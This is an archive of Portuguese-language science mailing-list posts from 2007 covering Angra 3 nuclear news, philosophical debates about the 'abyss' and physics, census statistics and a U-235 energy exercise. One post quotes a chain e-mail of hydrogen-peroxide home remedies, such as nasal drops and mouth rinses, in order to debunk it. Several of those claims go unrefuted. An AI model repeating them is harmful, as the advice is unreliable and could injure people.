Caso o governo decida pela retomada da obra, a usina levará cinco anos e meio para começar a funcionar, a partir do início da construção. A previsão é que Angra 3 possa gerar 1.350 MW (megawatts).

Os componentes importados deverão ser comprados da francesa Areva, detentora dos contratos de fornecimento de equipamentos para a construção da usina.

Esse contrato foi herdado da empresa alemã KVU que, na década de 1980, fez acordo com o governo brasileiro para construção de Angra 3. A KVU foi comprada pela Areva.

Há a possibilidade de a Areva negociar com um "pool" de bancos europeus uma forma de financiar a compra dos equipamentos importados.

O custo nacional -70% do total- poderá ser financiado por BNDES, Eletrobrás ou um fundo do setor elétrico, gerido pela Eletrobrás (RGR, Reserva Global de Reversão, constituído por aproximadamente 1% da tarifa paga pelo consumidor).

Embora não tenha havido anúncio oficial, a retomada da usina de Angra 3 vem sendo propagada desde março de 2006.

O assunto, porém, não é consenso no governo. A principal oposição vem do Ministério do Meio Ambiente, que vê restrições ao dejeto que ela gera.
(Folha de SP, 22/5)



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o abismo, para o JC.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/05/2007 23:13

JC:

Com relação a pílulas vermelhas ou azuis o macete é ler a bula e ver os componentes que envolvem o produto: normalmante são aglomerantes e corantes. Escolha o que faça menos mal: azul de metileno: o vermelho deve ser um oxido ferroso...

Permita-me uma observação "an passant": não se contempla abismos pois abismos não são visíveis, por infinitos: : é melhor entrar para nossa Seita, contemplar o Nada, com uma linda vestal nos purificando.

PAZ a ambos.

silvio, s.s.s.n.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 22, 2007 2:46 PM
Subject: [ciencialist] Re: Sobre o abismo, para o JC.


Olá João,

Raramente recebemos mensagens como essa na lista. Geralmente as
pessoas não falam sobre seus sentimentos na C-List. Achei bonita sua
mensagem.

Essa sensação de "contemplar o abismo", que é uma bela forma poética
de admitir a ignorância como parte do método de aprendizagem, creio já
povoou as emoções de muita gente. É mesmo "chato" reconhecer-se no
espelho e abandonar algumas ilusões agradáveis sobre nós mesmos. Mas
não é assim tão ruim, depende apenas de como você vê esse abismo...
Assunto para o Botequim.

Eu não fiz opção por pílulas vermelhas ou azuis. Nem nunca procurei me
ver como "louco" ou "normal". Acho tudo normal. Da ignorância
consentida, que você parece crer que é a "norma", ao excesso de
racionalidade que alguns pensam que têm. Deixei de procurar enquadrar
tudo em "modelos". Acredito mais na diversidade de viências e
distintas formações que levam do ignorante feliz ao intelectual com
frescuras, passando por nuances diversas onde não se sabe ao certo
onde estamos enquadrados. Pouco importa, como você disse com relação
ao tamanho da galáxia.

Bom, isso é conversa de Botequim e eu já tenho uma lista povoada de
"doidos" como você onde me divirto bastante.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, JC.
>
> > > Elas fazem sim. Especialmente hoje em dia. Tem gente que diz ser
> o
> > > cérebro complicado demais para ser entendido. Na verdade, elas
> querem
> > > que ele seja complicado demais de modo que a neurologia não
> consiga
> > > abordá-lo.
>
> > Será?
>
> Sim. Com certeza. A mente se tornou o último bastião de resistência
> espiritual contra o avanço do conhecimento. A partir daí não há mais
> para onde eles recuarem. Eles irão se entrincheirar e lutar até o
> último sobrevivente. A causa deles é nobre, e eu a compreendo. Eles
> lutam pela grandeza humana, por sua dignidade e valor. Já o avanço da
> ciência representa o deserto da realidade, o abismo no qual, se
> contemplado, só irá trazer mal-estar. Mas para mim, pelo menos, não
> existiu opção. Eu já tomei a pílula vermelha, e a tomaria de novo, se
> me dessem a opção. A verdade é o meu deus. É um deus horrível, frio,
> inumano. Ele não irá me trazer felicidade ou bem-estar. Mas, por
> razões psicológicas da minha história de vida (coisas íntimas que não
> irei aqui contar), é o caminho que resolvi tomar. Na verdade, foi o
> único caminho que me foi apresentado. Eu não tive opção. Diante do
> desamparo emocional que eu passei, o abismo foi a única coisa que me
> estendeu a mão. A única rocha sólida em que eu pude me agarrar. E eu
> a agarrei. Eu fiquei amigo do monstro. "Amigo", na verdade, não é o
> melhor termo, pois eu sei que ele é um monstro que assusta os
> humanos, e que é altamente nocivo. Mas acho que, durante a pré-
> adolescência, e eu não sabia disto, e achava que ele era um amigo.
> Durante a noite, contemplando as estrelas, eu conversava com ele. Eu
> fiquei íntimo dele. Só depois, quando amadureci, que eu me dei conta
> de sua inumanidade, de sua frieza abissal. Mas já era tarde demais.
> Eu já havia tomado a pílula vermelha. Não dava para empurrar o abismo
> para baixo do tapete e fingir que ele não existia. Quando você olha
> para o abismo, o abismo olha para você.
>
> >>1 milhão, 1 bilhão, que diferença faz?
>
> > Você está fazendo opção pela ignorância disso?
>
> Creio que não. Apenas admitindo minha incapacidade de contemplar o
> abismo em toda a sua profundidade. Ele é insondável, e por isso é
> abissal. Mas creio poder contemplá-lo de forma mais profunda que a
> maioria das pessoas. O preço que eu pago por isso é alto. Por isso
> compreendo àqueles que se recusam a contemplá-lo, e por eles
> demonstro simpatia. Não sei muito bem por que estou te falando isso.
> Se eu posso te dar um conselho, sugiro que você tome a pílula azul.
> Tomar a vermelha não vai te levar a nenhum estado mais elevado de
> consciência ou realização, e você será muito mais feliz com a azul. É
> melhor se agarrar a sua crença de que o abismo não existe, e que é
> simplesmente uma interpretação do mundo de um indivíduo desajustado.
> Opte por ser um humano, e ver o mundo de uma forma tacanha, mas
> feliz. Humanos não foram feitos para contemplar o abismo, e isso só
> nos foi possível através do desenvolvimento de meios científicos e
> tecnológicos avançados. E lembre-se: se você olha para o abismo, o
> abismo olha para você.
>
> Bom, apesar do conteúdo sinistro dessa mensagem, desejo-lhe sinceras
> saudações.
> João de Carvalho
>






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SUBJECT: Re: [ciencialist] Re: Sobre o abismo, para o JC.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/05/2007 09:15

Zé:

Veemente protesto contra qualquer alegação de insanidade do Ferrari: os poetas não têm parâmetros para serem julgados:
como os pintores é questão mais simples: gostar ou deletar, não apreciar.

Viu como aquela bandeirinha gostosa e ladrona garfou meu botafogo??

sds.,
silvio.
----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, May 24, 2007 12:53 AM
Subject: [ciencialist] Re: Sobre o abismo, para o JC.


João,

Ninguém é mais doido que o Ferrari, não se preocupe. :)))

Sim, falei das pílulas de "Matrix" mesmo.

Referi-me à ignorância no sentido próprio do termo, pois em um
universo tão "abissal" fica bem claro a extensão do que podemos saber
(veja que não etou nem me referindo ao que "sabemos", mas sim ao que
"podemos" saber).

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, JC.
>
> Obrigado pelo elogio à minha mensagem.
>
> > Essa sensação de "contemplar o abismo", que é uma bela forma poética
> > de admitir a ignorância como parte do método de aprendizagem,
>
> Perceber a ignorância a respeito do mundo também é algo abissal. Mas
> quando falei de contemplar o abismo estava pensando mais no oposto,
> em ver como o mundo ele de fato é. O mundo não são colinas
> verdejantes e um grande céu azul. Esta é uma visão muito restrita de
> mundo, de uma criatura que evoluiu na superfície de um planeta na
> periferia de uma galáxia. O mundo é um espaço de dimensões que
> achatam qualquer impressão intuitiva que tenhamos a respeito do
> espaço, onde não existe em cima e embaixo, onde estrelas (bolas de
> gás maiores e mais pesadas que qualquer coisa que o homem possa
> imaginar), queimam irradiando enormes quantidades de energia enquanto
> giram em turbilhões de bilhões de estrelas. Se a quantidade de
> estrelas em uma galáxia é absurda, a quantidade de galáxias que
> existem é igualmente absurda, assim como as distâncias em que elas se
> encontram. As coisas são feitas de átomos, estruturas que possuem um
> núcleo absurdamente pequeno e ao redor do qual, a uma distância
> enorme se comparada ao seu tamanho, encontra-se uma nuvem de
> elétrons, seja lá o que for isto, que apresenta uma estrutura
> complexa de camadas e orbitais. As "partículas" que compõem essas
> estruturas emitem outras partículas, que são absorvidas por outras e
> assim elas interagem. O mundo não são as colinas verdejantes e o céu
> azul. Ele é um delírio. Um sonho. O grande sonho da razão. E como
> Goya já observou, o sonho da razão produz monstros.
>
> > não é assim tão ruim, depende apenas de como você vê esse abismo...
>
> Em geral nós temos uma atitude meio autista em relação ao abismo. Por
> mais que nos digam que estamos rodando em um turbilhão de estrelas,
> nós não conseguimos sentir isto. É como se fosse um sonho.
>
> > Eu não fiz opção por pílulas vermelhas ou azuis.
>
> Eu não sei se você entendeu, estava me referindo ao filme Matrix. Se
> você toma a azul, você acorda feliz no dia seguinte acreditando que o
> mundo é feito de colinas verdejantes, se você toma a vermelha, você
> contempla o abismo. Qual das duas você toma?
>
> > Bom, isso é conversa de Botequim e eu já tenho uma lista povoada de
> "doidos" como você onde me divirto bastante.
>
> Eu não sou mais doido que o Ferrari, sou?
>
> Saudações,
> João de Carvalho
>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Sobre o abismo, para João Carvalho.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/05/2007 09:20

João:

Tenho dificuldades de entendimento: vs. diz "resistência espiritual contra o avanço do conhecimento".

data venia pergunto: o que é "espírito"?

como o conhecimento "avança" sem a intervenção orgânica do paciente? Tenho para mim que conhecimento é o conhecimento adquirido sempre por um ou mais sentidos. Nenhuma outra forma para adquirir informações.

sds.,

silvio.
----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 22, 2007 4:52 AM
Subject: [ciencialist] Sobre o abismo, para o JC.


Olá, JC.

> > Elas fazem sim. Especialmente hoje em dia. Tem gente que diz ser
o
> > cérebro complicado demais para ser entendido. Na verdade, elas
querem
> > que ele seja complicado demais de modo que a neurologia não
consiga
> > abordá-lo.

> Será?

Sim. Com certeza. A mente se tornou o último bastião de resistência
espiritual contra o avanço do conhecimento. A partir daí não há mais
para onde eles recuarem. Eles irão se entrincheirar e lutar até o
último sobrevivente. A causa deles é nobre, e eu a compreendo. Eles
lutam pela grandeza humana, por sua dignidade e valor. Já o avanço da
ciência representa o deserto da realidade, o abismo no qual, se
contemplado, só irá trazer mal-estar. Mas para mim, pelo menos, não
existiu opção. Eu já tomei a pílula vermelha, e a tomaria de novo, se
me dessem a opção. A verdade é o meu deus. É um deus horrível, frio,
inumano. Ele não irá me trazer felicidade ou bem-estar. Mas, por
razões psicológicas da minha história de vida (coisas íntimas que não
irei aqui contar), é o caminho que resolvi tomar. Na verdade, foi o
único caminho que me foi apresentado. Eu não tive opção. Diante do
desamparo emocional que eu passei, o abismo foi a única coisa que me
estendeu a mão. A única rocha sólida em que eu pude me agarrar. E eu
a agarrei. Eu fiquei amigo do monstro. "Amigo", na verdade, não é o
melhor termo, pois eu sei que ele é um monstro que assusta os
humanos, e que é altamente nocivo. Mas acho que, durante a pré-
adolescência, e eu não sabia disto, e achava que ele era um amigo.
Durante a noite, contemplando as estrelas, eu conversava com ele. Eu
fiquei íntimo dele. Só depois, quando amadureci, que eu me dei conta
de sua inumanidade, de sua frieza abissal. Mas já era tarde demais.
Eu já havia tomado a pílula vermelha. Não dava para empurrar o abismo
para baixo do tapete e fingir que ele não existia. Quando você olha
para o abismo, o abismo olha para você.

>>1 milhão, 1 bilhão, que diferença faz?

> Você está fazendo opção pela ignorância disso?

Creio que não. Apenas admitindo minha incapacidade de contemplar o
abismo em toda a sua profundidade. Ele é insondável, e por isso é
abissal. Mas creio poder contemplá-lo de forma mais profunda que a
maioria das pessoas. O preço que eu pago por isso é alto. Por isso
compreendo àqueles que se recusam a contemplá-lo, e por eles
demonstro simpatia. Não sei muito bem por que estou te falando isso.
Se eu posso te dar um conselho, sugiro que você tome a pílula azul.
Tomar a vermelha não vai te levar a nenhum estado mais elevado de
consciência ou realização, e você será muito mais feliz com a azul. É
melhor se agarrar a sua crença de que o abismo não existe, e que é
simplesmente uma interpretação do mundo de um indivíduo desajustado.
Opte por ser um humano, e ver o mundo de uma forma tacanha, mas
feliz. Humanos não foram feitos para contemplar o abismo, e isso só
nos foi possível através do desenvolvimento de meios científicos e
tecnológicos avançados. E lembre-se: se você olha para o abismo, o
abismo olha para você.

Bom, apesar do conteúdo sinistro dessa mensagem, desejo-lhe sinceras
saudações.
João de Carvalho






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SUBJECT: Re: [ciencialist] Re: Quebra de patente de droga anti-aids
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 11:02

Nao esperava essa.
http://noticias.terra.com.br/ciencia/interna/0,,OI1635885-EI298,00.html

Gil

Em 14/05/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> Mais suíte:
>
> Assembléia da OMS discute quebra de patentes por países pobres
> http://www1.folha.uol.com.br/folha/ciencia/ult306u16435.shtml
> --------------
> []s,
>
> Roberto Takata
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 11:26


Ciao Ferrari...

Ferrari--- Mas pergunta é
como fome. Se não tem fome, porque vai procurar
comida? Não faz sentido. E cada um tem uma fome
especifica. Eu tenho a minha. Tenho minhas perguntas.
E vou atrás das minhas respostas. As respostas da
física, por exemplo, não me satisfazem. A idéia de
partícula ser um corpo cheio no meio de um espaço
vazio não me satisfaz. Ou seja, não responde minhas
perguntas. Tenho várias perguntas que a física não
responde.



Oh, Ferrari, não há vázio na natureza; ou há matéria ou há energia.



Ferrari---- Você não entende a
minha resposta porque não está interessado na minha
pergunta... E por ai vai... Então, creio que você,
Bruna, se gasta seu tempo lendo o que escrevo, mesmo
achando confuso, é porque tem algum interesse nas
minhas perguntas e respostas.



Sim, Ferrari, me interessam a crença e os anseios de outros seres, muito embora, eu tbm não deseje ser convencida por ninguém.Curosidade, apenas(?)


Ferrari --- Ao meu ver, nem o pessoal da
mecânica quântica, nem o pessoal da auto-ajuda,
entende com clareza o que é muito simples:
conhecimento é fruto da intelectualização da
realidade. Ou seja, a observação cria uma segunda
realidade, e não a realidade (em si). Se aprofundarmos
mais nesta questão, vamos chegar na questão do
determinismo e do livre-arbítrio, que na verdade, é a
grande questão humana.


Não existe livre-arbítrio na natureza, ou seja, não podemos fazer as escolhas fundamentais.Podemos fazer escolhas simplórias, superficiais e "rasteiras" como o que comer e vestir ou que bairro morar...porém, escolhas essenciais são pré-determinadas pela nossa biologia, por exemplo.




Ferrari --- Respeito a física tbm. Apenas não
concordo. Não concordo que física é sinônimo de
ciência (em si). É a ciência que possibilita a física
e não vice-versa. Mas digo isto e ninguém entende o
que estou dizendo. Fazem piada. Não me incomodo. Tudo
ao seu tempo. E nada é por acaso.


Oh, Ferrari, fazem piada pelo simples fato de que estás a afirmar a importância secundária do que para eles representam o centro da ciência; a física como consequência e não causa.


Ferrari--- Bonita imagem! Pra te deixar com outra, sobre a
questão das visões: o peixe não vê a água. Ou seja,
cada um aqui está vendo exatamente de acordo com sua
natureza. Enfim, tudo certo!



Gostei dessa visão "o peixe não vê a água"...realmente nós somos bastante limitados, e nos limitamos por nossas visões.
Vc acredita que possa ser verdade que os nativos não tenham visualizados as caravelas?

Um abraço,
da Bruna Carolina












Bruna Carolina Ribas Silva
Rio Grande/RS

"A maior tradição do ser humano é evoluir"

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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/05/2007 12:16

Ferrari diz:"Tenho várias perguntas que a física não responde."

Nós tentamos responder o mais corretamente possível ... e, por outro lado, nunca neguei a ninguém o direito de concordar inteiramente comigo. (MF).

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================

Ferrari --- Ao meu ver, nem o pessoal da
mecânica quântica, nem o pessoal da auto-ajuda,
entende com clareza o que é muito simples:
conhecimento é fruto da intelectualização da
realidade.


SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/05/2007 13:03

A fisica responde muitas perguntas. Ocorre que muitos não compreendem a
resposta, por não dominarem a linguagem básica em que a resposta é escrita.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 25, 2007 12:16 PM
Subject: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA


Ferrari diz:"Tenho várias perguntas que a física não responde."

Nós tentamos responder o mais corretamente possível ... e, por outro lado,
nunca neguei a ninguém o direito de concordar inteiramente comigo. (MF).

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================

Ferrari --- Ao meu ver, nem o pessoal da
mecânica quântica, nem o pessoal da auto-ajuda,
entende com clareza o que é muito simples:
conhecimento é fruto da intelectualização da
realidade.





SUBJECT: Re: [ciencialist] Re: Porque Raciocinar? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 13:11

Olá Takata!

>>> Eu queria era ver ele responder ao exercício de
aplicação da fórmula E=m.c2 q ele pretendia analisar.

Takata, vc está esperando em pé ou sentado?
Bispo cheio na casa vazia!



sinceramente
ferrari





--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz
> Netto"
> > O que é que esse verbalismo tem a ver com Ciência?
>
> Eu queria era ver ele responder ao exercício de
> aplicação da fórmula
> E=m.c2 q ele pretendia analisar.
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: off-topic: "A vida não será como em Guerra nas Estrelas"
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/05/2007 13:15

Minha pequena homenagem aos 30 anos de "Guerra nas Estrelas":
http://alvaroaugusto.blogspot.com/2007/05/vida-no-ser-como-em-guerra-nas-estrelas.html

[ ]s

Alvaro Augusto



SUBJECT: Re: Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 16:02

Olá Bruna!

Bruna >>> Oh, Ferrari, não há vázio na natureza...

--- Concordo com vc! Quem diz que o espaço é vazio é a
fisica, não sou eu.

Bruna >>> ou há matéria ou há energia.

--- Aqui discordo. Energia (Força) é o que anima a
matéria. Sem uma força animando a matéria, ela seria
inerte.

Bruna >>> Ferrari, me interessam a crença e os anseios
de outros seres, muito embora, eu tbm não deseje ser
convencida por ninguém. Curosidade, apenas(?)

--- Curiosidade é desejo de conhecer, fome de
conhecer, nao acha?

Bruna >>> Não existe livre-arbítrio na natureza.

--- Depende do que vc chama de natureza. No meu
conceito de natureza existe sim. Onde não existe
livre-arbitrio é na manifestação da matéria. Mas a
natureza não se restringe só a matéria. O tempo, por
exemplo, faz parte da natureza, e não é material.

Bruna >>> não podemos fazer as escolhas fundamentais.
Podemos fazer escolhas simplórias, superficiais e
"rasteiras" como o que comer e vestir ou que bairro
morar...porém, escolhas essenciais são
pré-determinadas pela nossa biologia, por exemplo.

--- Neste sentido material que vc está falando ai,
entendo não podemos fazer escolha nenhuma. A matéria é
uma substancia indivisivel. Nenhum corpo está separado
da matéria indivisivel, e a manifestação de qualquer
um, é, de fato, a manifestação da materia indivisivel.
A matéria se manifestando é como um filme num tela de
cinema, vc olha para um personagem e acha que ele tem
movimento independente na tela, mas ele não tem. O
movimento de um personagem na tela é o movimento da
imagem inteira, se a imagem inteira não se mover, o
personagem também não se move. Enfim, o que a fisica
chama de deslocamento (do corpo) é uma visão
particular (recortada) da manifestação da matéria
indivisivel.

Bruna >>> Ferrari, fazem piada pelo simples fato de
que estás a afirmar a importância secundária do que
para eles representam o centro da ciência; a física
como consequência e não causa.

--- Sim, quando faltam argumentos, partimos pra
porrada. Como aqui não dá pra dar porrada, tenta se
agredir com ironias e xingamentos.

Bruna >>> Gostei dessa visão "o peixe não vê a
água"...realmente nós somos bastante limitados, e nos
limitamos por nossas visões.

--- Estou sobre "severa moderação" e só posso me
expressar aqui com termos cientificos e de dicionário.
Nada de poesia ou religião. Mas vc é mulher, tem
sensibilidade e lida bem com imagens poéticas, assim,
bastou eu dizer isto e vc já entendeu o livro inteiro,
não é? Mulheres são poetas por natureza. Não sei o que
faz aqui, voce é um peixe fora dágua.

Bruna >>> Vc acredita que possa ser verdade que os
nativos não tenham visualizados as caravelas?

--- Não, não acredito! Mas também não acho impossivel.
De qualquer forma, se tomarmos esta história apenas
como exemplo, acho irrelevante pra se entender o fato
psicológico que ela busca demonstrar. Que fato é este?
O fato de que a qualidade do nosso interesse determina
a qualidade do nosso foco de atenção. Vou te dar
alguns exemplo. Quando estamos procurando um nome no
celular, numa agenda, ou numa lista, se nosso
interresse é pelo nome "Bruna", passamos pelos outros
nomes que não começam com a letra "b", como se eles
não estivessem ali. Quando uma mulher engrávida ela
tendem a ver muitas outras mulheres grávidas pela rua.
Quem põe aparelho, passa a ver muitas outras pessoas
com aparelho. Se vc trabalha com uma determinada
especialidade, vc ve coisas que parecem ficar
invisiveis para outras pessoas. Enfim, ver não é
prestar atenção. Acho que o interessante no exemplo
das caravelas é tirar esta compreenção, quanto a
realidade histórica da coisa, 100%, só mesmo como o
nativo vindo em praça publica e dando seu depoimento,
e ainda assim, vão querer os documentos de
identificação do nativo, e foto dele, do lado da
caravela, pra servir de prova. Ah! E a foto precisará
passar na prova anti-photoshop.



sinceramente
ferrari


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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 16:07

Olá Luiz!

Luiz >>> Nós tentamos responder o mais corretamente
possível...

--- Hehehe... deus está vendo!

--- E fique tranquilo, olhando através da lente que vc
olha, não poderia ver e responder de outra maneira.

Luiz >>> e, por outro lado, nunca neguei a ninguém o
direito de concordar inteiramente comigo.

--- Isto porque vc não tem este poder... graças a
deus! Mas se tivesse...



sinceramente
ferrari

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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 16:20

Olá Alvaro!

Alavaro >>> A fisica responde muitas perguntas.

--- Concordo com vc! Mas quando falei sobre as
resposta que a fisica não tem, estou dizendo que ela
não responde as perguntas que estou interessado, só
isto. Questões que dizem respeito ao tempo, a matéria,
ao determinismo, a medição, a força que chamamos de
vida, entre outras, por exemplo.

Alavaro >>> Ocorre que muitos não compreendem a
resposta, por não dominarem a linguagem básica em que
a resposta é escrita.

--- Também concordo!



sinceramente
ferrari



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SUBJECT: Microondas esteriliza e água oxigenada.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 16:31

Boa tarde Takata e a todos,

agradeço pelos comentários sobre o microondas e leptospirose. Na
mensagem anterior faltou as notas de rodapé que estão abaixo.

Aproveitando a mensagem confiram uma outra discussão sobre a
esterilização: circula pela internet uma arquivo powerpoint que diz
que a água oxigenada é um excelente desinfetante. Não há erros neste
aspecto, mas a mensagem contém vários outros erros.

Creio que quem escreveu esta mensagem copiou de algum trabalho de
ensino médio ou fundamental sem o devido cuidado de refletir o que
estava escrito. Confiram alguns erros desta
mensagem.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Notas de rodapé que faltaram:

*-alguns autores falam em valores até maiores (10 milhões) por mL de
líquido gerado quando se torce a esponja
http://www2.correioweb.com.br/cw/EDICAO_20020921/vid_mat_210902_14.htm

**
http://journals.cambridge.org/download.php?file=%2FEAG%2FEAG35_03%
2FS001447979900304Xa.pdf&code=e80524a2a0faa5bf6798fcc5c0bfb3b2++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

BENEFÍCIOS DA ÁGUA OXIGENADA -mensagem que circula pela internet
(uma das versões desta mensagem, a que recebi via e-mail, está no
formato powerpoint)


A água oxigenada foi desenvolvida na década de 1920 por cientistas
para conter problemas de infecções e gangrena em soldados em frente
de batalha. A pesquisa buscava
um produto barato, fácil de transportar e usar, que pudesse ser
conservado de forma fácil e à temperatura
ambiente, sem problemas colaterais.
Durante a segunda guerra mundial, a redução no número de baixas e
amputações foi significativa, graças ao uso da água oxigenada.

Em solução a 3% é um poderoso desinfetante. Isso é pouco divulgado e
pode-se entender o porquê. Um produto
barato e simples de usar concorre com outros desenvolvidos por
laboratórios farmacêuticos e indústrias de
desinfetantes domésticos e hospitalares. Portanto, não há interesse
comercial no seu uso em larga escala.

O que se pode fazer com água oxigenada:

1 - Uma colher de sobremesa do produto usada para bochechos e
mantido na boca por alguns minutos mata todos os germes bucais,
branqueando os dentes! Cuspir após o bochecho.
2 - Manter escovas de dentes numa solução de água oxigenada conserva
as escovas livres de germes que causam
gengivite e outros problemas bucais.
3 - Um pouco de água oxigenada num pano desinfeta superfícies melhor
do que qualquer outro produto. Excelente
para usar em cozinhas e banheiros.
4 - Tábuas de carne e outros utensílios são totalmente desinfetados
após o uso, com um pouco de água oxigenada. O produto mata qualquer
bactéria ou germe, inclusive salmonela.
5 - Passada nos pés, à noite, evita problemas de frieiras e outros
fungos que causam os principais problemas nos pés, inclusive mau
cheiro.
6 - Passada em ferimentos (várias vezes ao dia) evita infecções e
ajuda na cicatrização. Até casos de gangrena regrediram com o seu uso
7 - Em solução de 50% com água pura, pode ser pingada no
nariz em resfriados e sinusites. Esperar alguns instantes e assoar o
nariz. Isso mata germes e outros microorganismos
nocivos.
8 - Um pouco de água oxigenada na água do banho ajuda a manter a
pele saudável, podendo ser usada em casos de micoses e fungos.
9 - Roupas que necessitam de desinfecção (lençóis, fraldas, etc), ou
aquelas em contato com secreções corporais e sangue, podem ser
totalmente desinfetadas se ficarem de molho numa
solução contendo água oxigenada antes da lavagem normal.


Postado por Pinkie Alessie

http://www.jornaldaserra.com.br/saude.htm
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Erros no texto:

1--a água oxigenada foi descoberta em 1808 e desde de sua descoberta
foi comercializada e utilizada
2-o uso continuado de água oxigenada (H2O2) na boca pode gerar feridas
3-a esterilização com H2O2 utiliza tempos bem maiores que o
recomendado (ex: 6h à 20°C ao invés dos poucos
minutos discutidos)
4-o H2O2 dá lucro, tanto que diversas empresas vendem este produto em
galões (ex: Johnson& Johnson) sem
ter a finalidade de serem caridosas
5-um bochecho não branqueia os dentes e nem mata todos microrganismos
da boca, tanto que as pastas para
clareamento feitas com H2O2 são produtos para serem colocadas em
molde que deve ser mantido na boca por toda noite.
6-passada nos pés à noite ou na pele todos os dias este produto
ocasionará rachaduras na pele







SUBJECT: [RN] PERFIL DA POPULAÇÃO BRASILEIRA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 16:51

G1.COM.BR, 25-05-2007

Em 60 anos, Brasil ficou mais mestiço, evangélico e 'casado'
"Pela primeira vez, IBGE consegue comparar dados dos censos de 1940 e
2000. População quadruplicou no período. Japoneses estão em 9% das
cidades."
http://g1.globo.com/Noticias/Brasil/0,,MUL41764-5598,00.html
----------------------

Uma das frases que me chama a atenção: "Tanto em 1940 quanto em 2000,
os homens eram a maioria dos solteiros (62,6%)." Considerando-se a
razão sexual aproximadamente de 1 para 1 (na verdade tem um pouco mais
de mulheres do q de homens), tem algo esquisito nessa contagem...
Consigo pensar em três possibilidades: - tem muita mulher se casando
com mulher; - tem muito homem se casando com mais de uma mulher; -
homem casado está mentindo sobre seu estado civil (ou mulher solteira
sobre o seu).

Outra frase: "Na década de 40, 51,6% dos brasileiros com 10 anos ou
mais eram solteiros, número que caiu para 38,5% em 2000." Pô, 10 anos?
Ok, tem gente q casa com 12 - em particular na zona rural... Mas a
população brasileira envelheceu nesses 60 anos, há uma proporção maior
de pessoas mais velhas. Nesse caso em vez de uma proporção maior de
pessoas se casando em uma certa idade, pode ser o caso de haver uma
proporção maior de pessoas em idade casadoira.

[]s,

Roberto Takata



SUBJECT: Re: Porque Raciocinar? ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/05/2007 17:09

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> >>> Eu queria era ver ele responder ao exercício de
> aplicação da fórmula E=m.c2 q ele pretendia analisar.
>
> Takata, vc está esperando em pé ou sentado?
> Bispo cheio na casa vazia!

Seu bispo foi preso em Miami tentando entrar com dólares não
declarados. Vc não tem nenhuma peça. E tb pouco respeito por minha
parte eqto não responder à questão de aplicação da fórmula E = m.c2.

---------------
Considere a seguinte reação de decaimento de urânio-235:

U-235 + 1 n = Rb-90 + Cs-143 + 3 n

A massa do urânio-235 (em unidades de massa atômica) é 235,0439242; do
rubídio-90, 89,9148; do césio-143, 142,9273 e do nêutron, 1,0086.

Considere q uma unidade de massa atômica equivale a 1,660538782 x
10^-27 kg e que a velocidade da luz no vácuo é de 299.792.458 m.s-1.
